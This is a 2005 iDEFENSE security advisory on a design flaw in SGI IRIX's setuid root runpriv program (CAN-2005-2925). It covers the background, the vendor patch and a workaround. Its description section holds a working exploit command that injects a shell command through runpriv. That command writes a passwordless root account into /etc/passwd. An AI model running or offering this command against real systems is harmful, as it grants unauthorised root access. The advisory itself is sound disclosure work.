iDEFENSE Security Advisory 10.10.05: SGI IRIX runpriv Design Error Vulnerability

From: iDEFENSE Labs (labs-no-reply_at_idefense.com)
Date: 10/10/05

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    Date: Mon, 10 Oct 2005 16:53:27 -0400
    To: <bugtraq@securityfocus.com>, <vulnwatch@vulnwatch.org>, <full-disclosure@lists.grok.org.uk>
    
    

    SGI IRIX runpriv Design Error Vulnerability

    iDEFENSE Security Advisory 10.10.05
    www.idefense.com/application/poi/display?id=312&type=vulnerabilities
    October 10, 2005

    I. BACKGROUND

    The runpriv program is a setuid root application that checks to see if a

    regular user has been granted privileges to execute a certain predefined

    command, and if so it runs the command found in the directory
    /usr/sysadm/privbin with root privileges. It is installed by default
    under multiple versions of IRIX 6.

    II. DESCRIPTION

    Local exploitation of a design error vulnerability in the runpriv
    command included in multiple versions of Silicon Graphics Inc.'s IRIX
    could allow for arbitrary code execution as the root user.

    The runpriv program is a setuid root application that checks to see if a

    regular user has been granted privileges to execute a certain predefined

    command, and if so it runs the command found in the directory
    /usr/sysadm/privbin with root privileges.

    The vulnerability specifically exists because runpriv unsafely executes
    commands after it has verified a user's privileges. This allows an
    attacker who has been given privileged access to one binary in
    /usr/sysadm/privbin to effectively execute any command as root. To
    exploit this vulnerability, all that is required is appending a string
    of the form "command to execute" to the end of an otherwise authorized
    and legitimate command. For example, if a user has been authorized to
    run the mountfs utility, they can exploit this vulnerability in the
    following way:

    /usr/sysadm/bin/runpriv mountfs -s test -d / -o \|
      "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
    su r00t -c "chown root:sys /tmp/passwd123 ;
    mv /tmp/passwd123 /etc/passwd ;
    chmod 644 /etc/passwd ; su"

    This will have the effect of adding an administrative user "r00t" to the

    system with no password, which allows for trivial privilege escalation.

    III. ANALYSIS

    Exploitation requires an attacker to have access to an account which has

    been granted usage of a binary in the /usr/sysadm/privbin directory. As
    root must explicitly allow such privileges, the impact of this
    vulnerability is lessened significantly. Exploitation does not require
    any knowledge of application internals, making exploitation trivial,
    even for unskilled attackers.

    IV. DETECTION

    iDEFENSE has confirmed the existence of this vulnerability in SGI IRIX
    version 6.5.22 (maintenance). It is suspected that previous and later
    versions of both the feature and maintenance revisions of IRIX 6.5 are
    also vulnerable.

    V. WORKAROUND

    Only grant runpriv privileges to trusted users with secure accounts.

    Alternately, remove the setuid and setgid bits from runpriv:

    chmod ug-s /usr/sysadm/bin/runpriv

    VI. VENDOR RESPONSE

    A vendor advisory for this vulnerability is to be posted at:

      http://www.sgi.com/support/security/advisories.html

    Vendor patch 7004 for IRIX 6.5.27 and 6.5.28 is available at:

      http://support.sgi.com/

    VII. CVE INFORMATION

    The Common Vulnerabilities and Exposures (CVE) project has assigned the
    name CAN-2005-2925 to this issue. This is a candidate for inclusion in
    the CVE list (http://cve.mitre.org), which standardizes names for
    security problems.

    VIII. DISCLOSURE TIMELINE

    09/08/2005 Initial vendor notification
    09/09/2005 Initial vendor response
    10/05/2005 Coordinated public disclosure

    IX. CREDIT

    The discoverer of this vulnerability wishes to remain anonymous.

    Get paid for vulnerability research
    http://www.idefense.com/poi/teams/vcp.jsp

    Free tools, research and upcoming events
    http://labs.idefense.com

    X. LEGAL NOTICES

    Copyright (c) 2005 iDEFENSE, Inc.

    Permission is granted for the redistribution of this alert
    electronically. It may not be edited in any way without the express
    written consent of iDEFENSE. If you wish to reprint the whole or any
    part of this alert in any other medium other than electronically, please
    email customerservice@idefense.com for permission.

    Disclaimer: The information in the advisory is believed to be accurate
    at the time of publishing based on currently available information. Use
    of the information constitutes acceptance for use in an AS IS condition.
    There are no warranties with regard to this information. Neither the
    author nor the publisher accepts any liability for any direct, indirect,
    or consequential loss or damage arising from use of, or reliance on,
    this information.


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